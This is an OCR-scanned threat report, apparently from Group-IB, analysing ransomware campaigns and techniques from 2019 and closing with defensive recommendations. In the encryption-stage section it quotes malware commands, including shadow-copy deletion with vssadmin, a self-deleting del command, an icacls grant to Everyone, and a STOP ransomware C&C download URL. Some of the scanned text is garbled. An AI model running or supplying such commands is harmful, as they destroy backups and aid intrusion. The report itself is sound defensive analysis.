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INTRODUCTION

INTRODUCTION

.

Average ransom
in Q4 2018: $6,000

Average ransom
in Q4 2019: $84,000

.

Attackers targeted
entire networks, and
some groups made off
with millions of dollars
in ransom

.

40% YoY

increase in ransomware attacks

Many will undoubtedly remember the ransomware pandemics
unleashed by the state-sponsored hacking groups Lazarus and
Sandworm in 2017. Their acts of sabotage brought the world to its
knees and caused billions of dollars in damage. The following year
was comparatively less eventful, but little did everyone know that
other threat actors were gathering their strength and priming for
attack. It was only after they emerged in full force in 2019 that

we realized we were in for a different kind of adversary.

The most striking change was the ransom amount. In just one year,
the average demand jumped from $6,000 to $84,000". But what
we saw in the news was far worse. In one prominent example, Ryuk
ransomware operators forced two cities in Florida to pay a com-
bined $1million2 The same group hit the town of New Bedford,
Massachusetts with one of the highest ransom demands ever
recorded — upwards of $5 million3. The town's leadership was able
to outwit the attackers and avoid a payout, but the incident caught
the world's attention.

The year started off promising. A joint operation by the FBI,

US Internal Revenue Service, Europol, along with Belgian and
Ukrainian law enforcement agencies took down xDedic, the pop-
ular online marketplace for compromised servers“ Even the group
behind GandCrab ransomware, which dominated the attack land-
scape in 2018 and claimed to have earned over $2 billion, called

It quits.

But ransomware continued to be distributed through other, less
popular, marketplaces. Attackers adjusted their strategies to think
bigger and go deeper — not only in terms of money but also scale and
aggression. Overall, Group-IB estimates that ransomware attacks
increased 40% year-on-yearin 2019.

This analytical report examines the most significant campaigns

in 2019, and details the tactics, techniques, and procedures (TTPS)
used by ransomware groups. If our analysis proves anything,

it is that attackers show no signs of slowing down.

1 www.coveware.com/blog/2020/1/22
www.coveware.com/blog/2019/1/21

2 www.nytimes.com/2019/06/27
5 www.cyberdefensemagazine.com

4 www.europol.europa.eu/newsroom/news
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SUMMARY OF MAIN TRENDS

! Big Game Hunting is on the rise. More groups are distributing
. ransomware, and Ransomware-as-a-Service (RaaS) adverts are
The Top Three Big w " vice ( ) adv

opting to focus their attacks on big enterprise networks rather
Game Hunters than individuals.

of 2019 according
to Group-IB Incident

Forinstance, some REvil adverts managed to perform real supply
chain attacks, and even attacked the network infrastructures

Response Team: Ryuk, of 22 municipalities in Texas by compromising their IT service
Dharma, and REVvil provider®.

Big Game Hunters are more frequently using different trojans to gain
1 an initial foothold in the target network. In 2018 we saw Ryuk oper-

. ators employ Emotet and Trickbot. In 2019 a wider variety of tro-
REvil operators jans was used, including Dridex (used by DoppelPayner operators)
had the biggest range of initial and SDBBot (used by Clop operators).

[ d loyed . S . .
;C;nggzltiigiisirjuas?y Oenr:;,p e This trend shows that phishing emails are still the most common
APT groups used technique used forinitial access. And not only by Big Game Hunters;

Shade (Troldesh) operators also used it to deliver their ransomware.
The same can be said about many RaaS adverts.

Due to the popularity of RaaS, exploit kits (EKs) were still used

to spread ransomware. Along with traditional kits such as RIG

EK and Fallout EK, three new ones came onto the scene: Spelevo
EK, Radio EK, and Lord EK. The latter was used to distribute Eris ran-
somware in August.

Despite the takedown of xDedic, many ransomware families con-
tinued to be distributed following successful brute force attacks
on servers that were accessible externally through Remote Desktop
Services. What is more worrying is that even low-skilled attackers
were able to compromise infrastructure, all because companies
continued to neglect their security. Some groups that used simple
Remote Desktop Protocol (RDP) brute force as an initial access
technique did not even have ransomware in their arsenals and
used a legitimate encryption tool instead. At the same time, even
some of the most advanced Big Game Hunters employed this initial
access vectorin some cases.

One of the more noteworthy trends for 2019, however, was that
many Big Game Hunters started to not only deploy ransomware

in enterprise networks but also exfiltrate large amounts of sensitive
data, significantly increasing their chances to collect the ransom.

5 www.nytimes.com/2019/08/20
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MITRE ATTACK® MAPPING

MITRE ATT&CK® MAPPING

Initial Access

Execution

Persistence

Privilege Escalation Defense Evasion

Credential Access

We mapped the tactics and techniques uncovered during incident response engagements and cyber threat
intelligence collection to the MITRE ATTSCK® matrix ©. They are listed from the most common (red) to the least
common (green), and paired with their respective ATTSCK® ID. These IDs are referenced throughout the
report and can be found on MITRE ATT&CK's® website together with further details on individual TTPs.

Discovery

Lateral Movement

Collection

Command
and Control

Exfiltration

Impact

Drive-by
Compromise
(T1189)

User Execution
(T204)

Registry Run Keys /
Startup Folder
(T1060)

Valid Accounts
(To78)

Disabling Security
Tools (T1089)

Brute Force (T1110)

Network Service
Scanning (T1046)

Remote Desktop
Protocol (T1076)

Data from Local
System (T1005)

Remote Access
Tools (T1219)

Transfer Data
to Cloud Account
(T1537)

Data Encrypted for
Impact (T1486)

External Remote
Services (T1133)

PowerShell (T1086)

External Remote
Services (T1133)

Exploitation for
Privilege Escalation
(T1068)

Group Policy
Modification (T1484)

Credential Dumping
(T1003)

Network Share
Discovery (T1135)

Windows Admin
Shares (T1077)

Data from Network
Shared Drive
(T1039)

Remote File Copy
(T1105)

Exfiltration Over
Other Network
Medium (T1011)

Inhibit System
Recovery (T1490)

Spearphishing
Attachment (T1193)

Command-Line
Interface (T1059)

Create Account
(T1136)

Redundant Access
(T1108)

Credentials in files
(To81)

Remote System
Discovery (T1018)

Windows Remote
Management
(T1028)

Multi-hop Proxy
(T1188)

Data Encrypted
(T022)

Resource Hijacking
(T1496)

Spearphishing Link
(T1192)

Scripting (T1064)

Scheduled Task
(T1053)

Masquerading
(T1036)

Credentials from
Web Browsers
(T1503)

System Information
Discovery (T1082)

Exfiltration Over
Command and
Control Channel
(T1041)

Valid Accounts Windows Valid Accounts Bypass User Permission Groups
(TM078) Management (TM0o78) Account Control Discovery (T1069)
Instrumentation (T1088)
(T1047)
Supply Chain Exploitation New Service NTFS File Attributes Password Policy

Compromise (T1195)

for Client
Execution(T1203)

(T1050)

(T1096)

Discovery (T1201)

Trusted Relationship
(T1199)

Mshta (Mshta)

Modify Existing
Service (T1031)

Obfuscated Files
or Information

Domain Trust
Discovery (T1482)

(T1027)
Exploit Public-Facing Scheduled Task WMI Event Deobfuscate/ Network
Application (T1190) (T1053) Subscription Decode Files Configuration
(T1084) or Information (T1016)

(T1140)

File and Directory
Permissions
Modification (T1222)
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INITIAL ACCESS

Al

3,139,568

China 941,004
United States 737,11
Germany 130,010
Brazil 83,737
Russian Federation 81,179

O

Newly discovered
Remote Desktop Service
vulnerabilities of 2019:
CVE-2019-0708
(BlueKeep),
CVE-2019-1181,
CVE-2019-1182,
CVE-2019-1222,
CVE-2019-1226

Remote Desktop Services

Compromise through external remote services (T1133), especially
through RDP, remained extremely popular among ransomware oper-
ators despite the closure of xDedic, which was the biggest market-
place for selling RDP access to compromised servers. Even with
xDedic gone, getting this access was easy:

EEEEEEERECD|
]
EEEEEEEEEE |
EoopooEEBRA!

Compared to 2018, the number of accessible servers with an open
port 3389 (used by Remote Desktop Services by default) only
increased. China, the United States, Germany, Brazil, and Russia had
the highest numbers of such servers last year”.

What's more, many organizations started to use non-common
ports for Remote Desktop Services, so the real number of exposed
servers may, in fact, be much higher.

The rise in RDP-attacks could largely be attributed to newly discov-
ered vulnerabilities: CVE-2019-0708, CVE-2019-1181, CVE-2019-1182,
CVE-2019-1222, and CVE-2019-1226. The first one will be familiar

to many as BlueKeep, the vulnerability found in older versions

of Windows operating systems. According to rumors, DoppelPaymer
operators used BlueKeep as an initial compromise vector, but these
rumors were later dispelled by Microsoft”. Nevertheless, the authors
of Metasploit (a well-known penetration testing framework) added
an exploit module that makes it possible to identify the BlueKeep
bug on the target host.

Companies had such weak security defenses that attackers were
able to obtain valid accounts with necessary privileges (T1078)
using brute force (T1110) methods. Our forensics experts often
saw NLBrute and ZBrute used for these very purposes. In some

7 msrc-blogmicrosoft.com/2019/11/20

GROUP|EB|

group-ib.com


https://msrc-blog.microsoft.com/2019/11/20/customer-guidance-for-the-dopplepaymer-ransomware/

INITIAL ACCESS

.

Five exploit kits used

in 2019: RIG EK, Fallout
EK, Spelevo EK, Lord
EK, and Radio EK

cases, these tools were used to check whether the obtained cre-
dentials were valid when connecting to other available hosts. With
credentials in hand, attackers often established a connection with
the remote desktop protocol using FreeRDP, a free cross-platform
implementation of this protocol (T1219).

Group-IB's incident response team discovered that most attacks
originating from this vector were linked to Dharma and Scarab
operators, but they were far from the only ones to have used it. FING
(the group behind campaigns involving LockerGoga and Ruyk), REvil,
MegaCortex, Maze, Nemty, Buran, NetWalker, and RobinHood opera-
tors were among others who also used this vector. Such a technique
overlap may also be the result of the fact that many of these ran-
somware families are distributed via the RaaS model.

Our team also responded to a number of incidents where RDP-ac-
cess was used as an initial compromise vector, but in place of ran-
somware the attackers used a legitimate software for encrypting
logical disks called DiskCryptor.

Drive-by

As many ransomware families were still distributed via the RaaS
model, we saw multiple incidents where the following exploit kits
were used:

RIG EK: The kit one has been around for a long time and remains
the most popular by far. It targets CVE-2018-8174 in Internet
Explorer and CVE-2018-4878 in Adobe Flash Player.

Fallout EK: This kit added CVE-2018-15982, a fresh Flash exploit,
to its arsenal at the beginning of the year.

Spelevo EK: A new kit discovered in June. It targets CVE-2018-
8174 in Internet Explorer, and CVE-2018-15982 and CVE-2018-
4878 in Adobe Flash Player.

Lord EK: Also a new kit. It targets the CVE-2018-4878 vulnera-
bility in Adobe Flash Player (T1203). Since it only has one exploit,
it's considered more of a pseudo-kit.

Radio EK: Another pseudo-kit that targets CVE-2016-0189 (an old
vulnerability).

RIG EK was used by operators of Nemty (which emerged in August
20‘19) and Eris, though the latter used it in combination with Lord
EK to distribute their ransomware through drive-by compromise
(T1N89). Radio EK was also used in some Nemty campaigns.
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INITIAL ACCESS

RIG EK as well as Fallout EK were used by GandCrab operators
before they announced they were ending their cybercriminal career:

Gandcrab
Vs s _(\/)
[ All the good things come to an end.
For the yea with us, pegple have earned more than $ 2 billlon, we have become a nomina
name in the field of the underground in the direction of crypto-fiber. Eamnings with us per week averaged %

2,500,000 .

We personally earned han 150 milllon dellars per year. We successfully cashed this money and
& d it in variou! e by L.

we were glad to work with you. BUt, as it is written above, all good things come to an end

in real life and elr

5, retribution

at it is

That's all. The topic will be deleted in a month. Thank you all for the work

But almost immediately after this announcement, RIG EK was used
by REvil operators, who many researchers have linked to GandCrab.
According to REvil's spokesperson on underground forums, they
were GandCrab affiliates, but bought GandCrab's source code and
adjusted it for their needs and continued their business.

Finally, RIG EK was spotted in campaigns distributing another ran-
somware family with the RaaS model: Buran.

Spelevo EK as well as Fallout EK were used to distribute Maze ran-
somware, which was also spotted in Big Game Hunting operations
targeting big enterprise networks.

Phishing

Phishing emails are the tried-and-true way of delivering malware, and
they were a common tactic in 2019.

Shade operators took the lead in this category. In the first half

of the year, they used password-protected archives featuring

JS files as attachments (T1193). Once opened (T1204), the attach-
ments would download (T1105) and execute a piece of ransomware.
Archives in the emails were later replaced with PDF files containing
links (T1192) to the same archives with JS files (T1064). It should

be noted that the payload was very often hosted on compromised
websites.

Talking about Big Game Hunting operations, many of them used
well-known trojans. For initial compromise, Ryuk operators used

a different malicious program called Emotet (S0367) to deliver
other trojans. More specifically, it deployed Trickbot (S0266), which
is notorious for its modular architecture that allows it to obtain
virtually any data from an infected host and even compromise the
domain entirely.

GROUP|EB|
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INITIAL ACCESS 9

Emotet was mainly delivered via phishing emails with an attached
Microsoft Word document, a link to such a document, or a PDF file
with a link:

Microsoft Office Activation Wizard

Microsoft Office
] Office

Activation Wizard

Thank you. Your copy of Microsoft Office is activated.
To make you changes take effect, click Enable Editing and Enable Contant.

Once the document was opened, the user was asked to enable
macros. If this was successful, PowerShell was launched (T1086)
using Windows Management Instrumentation (T1047), and the mal-
ware was downloaded and executed.

Ryuk operators were not the only threat actors to use Emotet
services, however. DoppelPaymer operators used it as well, but this
time Dridex was used instead of TrickBot.

With regard to DoppelPaymer, its operators also employed a curious
technigque: they used compromised websites that redirected users
to malicious web pages with fake browser updates:

You are using an older version of Firefox

ep your Firefox browser ru 1E SO y and securely.

Update Firefox

Instead of browser updates, users downloaded JS scripts (T1064)
or HTA files (T1170), which resulted in the download of Dridex. This
technique may be considered a pseudo supply chain attack.

A similar technique was adopted by Nemty affiliates. They used
a fake PayPal website, but instead of PayPal cashback applications,
users were offered to download a Nemty payload.

GROUP|EB|
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.

Ransomware

operators started opting for methods
that had earlier only been typical

of advanced persistent threat

(APT) groups

10

Meanwhile, STOP operators focused on stingy users, too. Their main
targets were people who wanted to obtain a pirated copy of com-
mercial software or an activator program for it. Instead of activating
the pirated copy, however, they would unwittingly download pro-
grams that infected their computers with ransomware.

Another financially-motivated group that showed an interest in Big
Game Hunting was the notorious TABOb. Clop ransomware cam-
paigns often started from a phishing email containing a weaponized
attachment that would download FlawedAmmyy RAT (Remote
Access Trojan) or SDBBot, among others.

Supply chain attacks

Some RaaS affiliates chose uncommon distribution methods.

A number of REvil affiliates were lucky enough to perform a supply
chain attack (T1195). They managed to compromise the Italian
version of the official WinRar website in June and use its installer
to distribute ransomware.

Exploitation of externally accessible applications

REvil operators proved to have the most diverse range of initial com-
promise vectors thanks to their affiliates. Along with all the others
previously mentioned, they used zero-day exploits — in particular,
exploits for the CVE-2019-2725 vulnerability in the WeblLogic Server
(T1190). After successful exploitation with PowerShell (T1086) and
either wget or certutil, a malware sample was downloaded from

an attacker-controlled server and launched (T1105). They also
exploited CVE-2019-11510 in Pulse Secure VPN, which was followed
by post-exploitation activity with offensive security tools typical for
Big Game Hunters.

Trusted relationship

In asurprising move, REvil affiliates employed compromise methods
that had earlier only been typical for APT-groups. For example,

to compromise 22 municipalities in Texas they first compromised the
cities' IT service provider (T1199). It is worth noting that GandCrab
had used this exact technique in early 2019, which is one reason why
experts speculate that the two groups were (and still are) affiliated.
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POST-EXPLOITATION

1 Another trend that emerged in 2019 was that many ransomware

R . operators almost completely stopped attacking individual users and
yuk, REvil, shifted their focus to full-scale operations that targeted large com-

DoppelPaymer, panies. Some groups, such as Shade and STOP operators, preferred

Maze, and Dharma to immediately encrypt data on the initially compromised hosts.

compromised entire networks Many others, such Ryuk, REvil, DoppelPaymer, Maze, and Dharma

and increased their demands operators, did not set limits and compromised entire network infra-

structures, which enabled them to significantly increase
their ransom demands.

Credential access

Once inside the network, most attackers used Mimikatz to obtain
users' credentials (T1003). Though trivial, this method is still quite
effective. In some cases, attackers dumped the LSASS (Looal
Security Authority Subsystem Service) process using ProcDump
and then, having downloaded it, worked with it on their side. This
meant that they could use Mimikatz despite its high detection rate.

Some investigations found traces of LaZagne (S0349), a tool that
helps attackers obtain not only authentication data for Windows
accounts but also many other credentials, like those saved in the
browser (T1503).

Some operators used additional malware during their post-ex-
ploitation activities, which gave them more opportunities to obtain
authentication data. For instance, Ryuk operators used the Trickbot
module pwgrab to gain access to credentials for Microsoft Out-
look, WIinSCP, Filezilla, RDP,VNC, PUTTY, TeamViewer, OpenSSH, and
OpenVPN (T1081).

In addition, in some brute-force attacks against servers that were
externally accessible through RDP, attackers quickly obtained
accounts with all the necessary privileges, which they could then
use to move freely across the domain and even harvest more cre-
dentials for redundant access (T1108).

Network reconnaissance

To gather network intelligence, many groups that used RDP

as an initial compromise vector employed Advanced Port Scanner
or Advanced IP Scanner (T1018). Operators with a more advanced
set of tools (Ryuk, REvil, Maze, Clop and Doppelpaymer) actively
used post-exploitation frameworks, namely Cobalt Strike (80154),
PowerShell Empire (S0363), Metasploit, CrackMapExec, PoshC2
(80378), and Koadic (S0250). Among other things, this helped them
collect information about:
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POST-EXPLOITATION

.

Valid accounts

were the dominant way of establishing
persistence — not only in a particular
system, but also the network as a whole

12

systems (T1082)

groups (T1069)

network shares (T1135)

password policies (T1201)

domain trust relationships (T1482)

This happened all while using PowerShell (T1086), WMI (T1047),
and port scanning (T1046).

Despite using typical post-exploitation frameworks, attackers
remained undetected most of the time because the same soft-
ware was used during scheduled penetration testing assessments
at target organizations or, even more often, because organizations
had very few security controls and personnel.

Persistence

Most ransomware operators used simple methods of estab-

lishing persistence in compromised systems. Given the popularity
of Mimikatz and other similar tools, valid accounts (T1078) were

the dominant way of establishing persistence — not onlyin a par-
ticular system, but also the network as a whole. In some cases, new
accounts were created (T1136), including with the help of pre-made
scripts (T1064).

Trojans such as Emotet, Trickbot, and Dridex (5§0384) were used
to determine the persistence mechanisms typical for this kind
of malware:

registry run keys and startup folder (T1060)
creation of new services (T1050)
scheduled tasks (T1053)

At the same time, the use of post-exploitation frameworks helped
attackers employ more sophisticated methods of establishing
persistence. Forinstance, armed with PowerShell Empire, the opera-
tors of DoppelPaymer used Windows Management Instrumentation
Event Subscription to establish persistence in some hosts (T1084).

Lateral Movement

Traditionally, one of the most popular methods of moving across
a network is RDP (T1076), among both low-skilled and experienced
threat actors.

The use of post-exploitation frameworks enabled attackers
to actively use WMI (T1047) and WinRM (T1028).

Deploying trojans during the initial compromise stage also helped
some operators move across networks. In such situations, Ryuk
operators again used Trickbot (but this time with its worm and share
modules) to move across a network using admin shares (T1077).

To deploy their ransomware, attackers often used PsExec (S0029),
distributing it directly from the domain controller. In some cases,
Ryuk operators applied group policies to deploy their ransomware
(T1484). The latter technique was popular among different threat
actors, including EKANS operators, who targeted not only enterprise
networks but also industrial control systems.
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EXECUTION OF OBJECTIVE

.

Attackers” main goal:

encrypt data and make
it unrecoverable to ensure
aransom payout

Attackers have one main goal: to encrypt data and hold it for a hefty
ransom (T1486). To guarantee their success, ransomware operators
must ensure that this data is impossible to recover.

In 2019, attackers achieved this goal by, among other ways, deleting
Windows shadow copies created using the command line utilities
vssadmin or wmic (T1490). This critical step sometimes went as far
back as the network reconnaissance stage, when attackers found
servers with backup copies and manually deleted data from them
or demanded a much larger ransom for the decryption key.

Many interesting and unique techniques were paired with ransom-
ware samples. Dharma, for example, used mode to change the code
page to 1251, the standard 8-bit character encoding for all Russian
versions of Microsoft Windows:

ne = DecryptString(aModeConCpSelec, &str_decr_key, 128, 1lu);// mode con cp select=1251
/{ vssadmin delete shadows /all /quiet
A Bt
£
= DecryptString(aComspec, &str decr_key, 128, 2u);// ¥comspeck
plicationName = AllocHeap(131068);
1 = MullBuffer({&startup 3 i, &StartupInfo, @, Ox44u);
NullBuffe 1 z, &P =5, @, 9xCu);

if ( Copystring(lpipp
GetEnvString(
if ( CreatePipe(&

, BXTFFF, envvar) > @ )

ttributes, @} }

if ( CreatePipe(&hObject jWritePipe, &PipeAttributes, @) )
SetHandleInformation(
SetHandleInformation(h
L fo.chb = 68;
.dwFlags = 257;
.hstdInput =
.hstdOutput =
.hstdError = h
.wShowlindow = 8;

if ( CreateProcessW(lpApplicationName

i
cmdline_len = lstrlenA(c
WriteFile(hFile,
CloseHandle_@(P
CloseHandle_a(F
b

; 9, 8,8, 1, 8, 8, @, &tartupInfo, &ProcessInformation) )

= len, &Numbe
.hProcess);
on.hThread);

This encoding was used in the ransom demand message shown

to the user, which was saved to an HTA file (T1170) whose path was
saved to the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVer-
sion\Run . This meant that it appeared automatically to any user who
logged into the system.
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EXECUTION OF OBJECTIVE 14

Eris ransomware, on the other hand, did not establish persis-
tence in the system; instead, it deleted its own executable file
(TNO7) by executing the command del with the parameters

/Q and /F through cmd.exe (T1059):

S e ene 456 C sl Desicp e exs —a——

;nrml3?m (3452) Windews host process (Rundl37) L Windows \Sys\WOWES \wundl 37 sxe
8| PING EXE [3140) CoWindows SysWOWES\PING EXE I

- ) L L] nr

Desoription:  Windows Command Processor

Company:  Mioosoft Corporation

P Criiindows SyeWOWES\omd. exe

Command:  C:\Windows'\system33ond. exe fC ping 127.0.0.1 0 3 > NUL && del O F “C:\Wsers Yab \Deskioper exe™

Execution of command del with /Q and /F via cmnd.exe

REvil stored configuration data in encrypted form (T1027)
in resources; the size of the data file and the key were stored
in plain text and appeared before RC4-encrypted data:

Qffaet g Gk 2 & o BOE RO 8 EOR G0N CE Ascii

00000000 (|32 70 61 65 &% 77 52 6D 72 31 56 4E 70 79 56 4E dpasiwBrrlVNpy VN
Qo0ooolo (74 63 54 70 35 52 0O 4E 79 Y& TS 59 7% 56 55 42] | tcTpSBpNywyIyVUB

Qgoaooza 8 E2 D4 52]|AS &4 00 00jB0 3E EE BF F2 {D 33 FC He¢BEd. .0>0itHEE

00000030 | D& 21 41 &1 B7 CC 18 RO 7A FO 34 0D CO AR Fé C6 '8a -MI zm4.ACoX

The key, size of encrypted data, and start of encrypted segment

The encrypted data contained a list of files, folders, and file exten-
sions that would not be encrypted; a list of processes and services
that needed to be terminated; a list of domain names for gener-
ating command and control (C&C) server addresses; and a ransom
demand message that would be shown to the user (T1140):

Recipe BN E e e o) g om
®

303EEEBFF2CD38FC9821416167CC18ABTAF9348DCOAAFGC617CFO1D60751E812D3B2E FADFEFBO17D4371763AC291DCSEEBERS2
14DE@2ICEL21A6A353EDCSF5B2100F5030BAEG7E75DE1BC 6E020EADE3C6FO4AB44@RED57312B2BEECODCET52FFRBDI16DROEAF
DEB738626CECF4966808BFC1CEBAEGD272C145F7B65678A24DI3EB101 20E FC14362E03DF4454FE2278D303360435A2AB10E64D

RC4 [0

:;;psmia\zﬁRmri\/prvNtchSRpMyvyVyVUE UTF8 - E92D690AF4356F 7D7SDEAAAS FCSF555C423 36 FEBR37810F (8799580540 8 SBDABEGA3C86200BAASF 1F5D7778OEABABO2278IFG
FODCACAA135706BO82F1A778EB7EGFEI1BA65373AE70DRBD: DEB5118D! F2CBE67BDO687@56D2A854C878
[ —— Outpust format 4738E665756375139BE75CA35F2F 86 68E9CEADG7D26C30F 40CaC4749D755A50278C588D968
Hex Latin1 6D1FDEGB2BA285CFBRCODEST CE150F87D2ABS 136052375860 23AGEEDAESFCO5328755D33780D1 79CF6AR37A52CTF 6DOFDA1755
028618321413256A50C52E0C45518A584525 7E6A32D! DB7C: DB29E308850E44D360BE7434

F17B7CFDLEF814ABE147FCFCFF617ESD6A1706D117192281D3C30F 24567 2D2BSCAL4AF 624F811EBCCA2ADDACCCE04A01CFCBBT
©AIE10CSE28ERYIERCAERS I FACOFFFACT 0ECSBSCFA923A1B55A10640144234DE162AB07A3413CA308545B5ED67681C7075F5A
3FD131C44C6016B2BEBO2ZEFO 3EBGO52643C56F3CERG483874D5BCD: 5

94CF5A2A7CF980@265E923AF D2DIBF1212769D859F 7164BDBSTSFE1B333703BC7D61F162F5ACA39BA36B1E3AB691EA53236E0C
8DB47DE28EDB3BT402E77873712533FF 78F 1E65DFDO570B40ABE28D171FOFBFDRCE6C4460562AD60325CFCDEEE27 64050EAATA
D15883F9CBD5F4AS5285DD957 3(99651278E4258EESD3A317C7AACDB1BE 320COFAB1413ECF143D41BD64FFD12D621B83B869AA2
C3F7@DA25ER22270442A2385 F 65D3F 7685 BBEDAAGDARSF 79050207 25085 3CABBIFDEI6C41AGAEG2AF (7 20ABEDATDTBTAESOBES

tise: 1oms
Length: 25765 N
Output s B 006

elka.ru;triavlete.com;webforsites. com;eshop. design;host lelsindians.es;foerderverein-
- o = vatterschule.de;gratiocafeblog. uordpress. com;unexplored. gr;profiz. con;uerkzeugtrolley .net;billscars. ne
STEP s BAKE! autogae U Lifeinbreaths. comimagnetvisual. con;albcleaner . fraro. ae; chatberlin. de;gurutechnalogies.net; beandriv
ngschool. com. au; futurenetworking. com;nevadaruralhousingstudies.org;mik.digital;denverwynkoopdentist.co

Decrypted data
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To escalate privileges in the system, REvil exploited the CVE-2018-
8453 vulnerability (T1068). It then collected information about the
infected computer — including the name of the current user, com-
puter name, workgroup or domain name, language settings, keyboard
layout, and operating system version — and sent this information

in encrypted form (T1022) to generated C8C addresses (T1041).

One of DoppelPaymer's distinctive features was its use of alternate
data streams to store payloads (T1096). To bypass user account
control (T1088), the ransomware created a CMD file and saved

its path to the registry key HKCU\mscfile\shell\open\command , which
enabled it to launch with escalated privileges through eventvwr .exe.
This ransomware used takeown.exe and icalcs.exe to gain control

over an arbitrary service and replace its executable with its own file
(T1031):

= [ cmd exe (2208)
1g135n0.exe (3108)

Windows Command Processor C:\Windows'System324cmd exe

€|

Description:
Company:
Path:
Command:

SpotLife WebAbum Service Plugin
8Mhn:L6gpQO (1532} | SpotLife WebAlbum Service Plugin
tekeown exe (3184} | Takes ownership of afile
icacls.exe (2036)

takeown.exe (3472) | Takes ownership of a file
icacks.exe (3772)

i SRr i
Takes ownership of a file
Microsoft Corporation
C:\Windows\system32\tzkeown. exe
C:\Windows\system32\takeown. exe F C:iWindows\System32ivds. exe

vesadmin exe (3364)|Command Line Interface for Microsoft® Volume Shadow Copy Service

C:\Userslab'\Desktop'p 1913500 exe |
C:Users'lab* App Data'Roaming 34j8Mhn:L6gpC
CWindows'system 32\ takeown exe |
C:\Windows'system32\icacls.exe ‘
CWindows eystem 32\ wssadmin exe

C:vWindows'system32\akeeown exe |

C:\Windows'system32\icacls.exe |

To obtain information about network drives, DoppelPaymer
extracted data from an ARP table using arp.exe (SO099) with
the parameter -a and then resolved the obtained IP addresses
to domain names using nslookup.exe (T1016).

Meanwhile, STOP ransomware generated a unique ID for the com-
promised host — the MD5 hash function of its MAC address — before
sending it to the CAC server and collecting all necessary files,
including the encryption key (T1105):

BB41E95A RETURN to st.@B41E95A from wininet.InternetOpenUrlW

ESP+4 BOE AR RS L L 2 N R D O Y RN R PRI R IR R 22D

ESP+8 BDGAAFAB UNICODE “http://ring2.ug/As73yhsyU345¥8hxxx/SDF5659/get .php?pid=7318498B1976F 7 1435F BB20477984E2D&First=true”

ESP+C aagee8a8

ESP+18 aageeB8a8
If there was no Internet connection, the ransomware used the
encryption key located in the body of the sample. STOP then used
PowerShell (T10886) to disable built-in Windows security tools
(T1089). To distract the user, the ransomware showed a fake Win-
dows Update window (T1036).

GROUPR|IB
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testws, localdomain
testws, localdomain
testws Jocaldomain

L shewe (35600
'*":':> sh.exe (35800
Q;: sh.exe (35800

16

Shade ransomware, however, was not limited to data encryption.
Very often victim computers had additional modules downloaded,
such as cryptocurrency miners (T1496) and brute force tools for
popular content management systems (CMS). Tor was used for
downloads (T1188):

1070 tor.noreply,org 443 TCP Established
1073 despari.informatik, uni-erlangen. de 443 TCP Established
1074 john-doe.tor,ulaver.is 443 TP Established

Something Ryuk ransomware did was first check the target sys-
tem's language. If it detected any Russian, Belarusian, or Ukrainian,
the ransomware would shut itself down. To grant file access to all
users, icacls was used with the arguments

"C:\x" /grant Everyone:F /T /C /Q (T1222):

wBdy “icacls \""}:
3] = BiG4;

Fo = R
52 = i + 65;
strcpy({CmdLline, w54);
strecat(Cmdline, &vS52);
strcat(Cmdline, w5
WinExec (CmdLine

¥

¥

GROUP|EB|
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Notable cases:

+$600,000

Riviera Beach, Florida,
paid to Ryuk

+$500,000

Lake City, Florida,
paid to Ryuk

+8400,000

Jackson, Georgia,
paid to Ryuk

+8130,000

LaPorte County, Indiana,
paid to Ryuk

+$100,000

Rockville Centre, New York,
paid to Ryuk

+$400,000

could not pay $5,300,000
offering $400,000 instead,;
Ryuk operators refused

Since Ryuk operators' goal was to affect as many systems in a given
domain as possible, its newer versions used an ARP cache to obtain
the MAC addresses of neighboring hosts before then broadcasting
UDP packets to take them out of sleep mode:

GetIphetTable(@isd, &SizePointer, 1);

vl = WirtualA llc-(@164 SizePointer, @x1086u, 4u);
GetIpNetTable(vl, &5izePocinter, 1);

2 = Virtualadlloc(@is4, 24i64 * vli->dwNumEntries, @x16860u, 4u);
GlobalAlloc(@x4bu, @x4888uicd);

3 = @5
f ( vi->dwNumEntries )
{
vd = &vl->table[@].dwAddr;
do
if (*(va - 3) )
1
ipaddr_bin = *v4;
*xtract IPaddP As Strlng 2(2i64, &ipaddr_bin, ipaddr_str};
= *(vé - 8);
= *(wq = T};
= *(vd - B);
L *[: = 5:“.'
= *E:"-_ - 4);
= :( == 31;
if ( **v5 1= 0xFF && **y5 )
else
+Hwk;
*y5 += 4i64;
}
while ( v7 };
if ( vB < 47)
Send WakeOnLAN Packet{ipaddr str, mac_addr_bytes);
}
+Hw3;
vl 4= 6;
while ( v3 < vl->dwNumEntries };
1

A distinct characteristic of some operators was that when compro-
mising large network infrastructures, they first collected information
from local systems (T1005) and network shared drives (T1039),
then uploaded a lot of sensitive data using public cloud storage
services — such as MEGA (T1537) or an FTP server (T1011) — and only
afterward launched the encryption process.
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EXECUTION OF OBJECTIVE 18

Some operators even created websites where they published some
of the stolen data:

The collected data helped attackers increase their chances
of receiving a ransom. If their demands were not met, they published

some of the data and sold the more confidential information on the
black market.
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CONCLUSION

.

Exploiting public-

facing applications and
compromising personal
devices will be popular
methods of gaining
network access in 2020

It goes without saying that 2019 was a fruitful year for ransomware
criminals, but 2020 may prove to be their most profitable one yet.

All indications point to the fact that the momentum attackers
picked up last year will not slow down. They will most likely continue
to think big and target entire networks rather than individuals. As far
as targets themselves are concerned, we expect them to be key
industries.

Due to the unprecedented volume of people forced to work from
home because of the COVID-19 pandemic, attackers are finding
more access points and vulnerabilities than ever before. Exploiting
public-facing applications and compromising personal devices are
set to be the most common methods of gaining access to internal
networks.

At Group-IB, we also believe that trojans will continue being used for
initial compromise and further distribution of ransomware. Moreover,
the trend for data exfiltration is projected to become more popular
with many groups.

10 RECOMMENDATIONS
FOR PREVENTING ATTACKS

Use VPN whenever accessing servers

through RDP.

Block accounts after a certain number
of failed login attempts within a short period

Implement multi-factor authentication
if aVPN cannot be used.

of time.

change it regularly.

RDP connections.

Ensure that the password of the account
used for access via RDP is complex and

Restrict the list of IP addresses that can
be used to make external RDP connections.

Install anti-spam and anti-phishing
filters.

Regularly update antivirus software and
audit the work logs of your protection
software.

Install a sandbox solution to detect mal-
ware not detected by antivirus software.

o =3
)@ @@E

Perform timely updates of operating sys-

Use NLA (Network Level Authentication) for =~/ tems and application software.
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GROUP-IB’'S RESPONSE
TO RANSOMWARE

i

24/7 INCIDENT
RESPONSE LINE

If you are experiencing a breach

O

GET HELP NOW

- Callus at +65 3159-4398
- Email us at response@cert-gib.com

- Fill out ourincident response form

Access to the data found on a ransomware-infected device cannot
be restored without decryption tools, which attackers hold for
ransom. It is never advisable to pay a single cent.

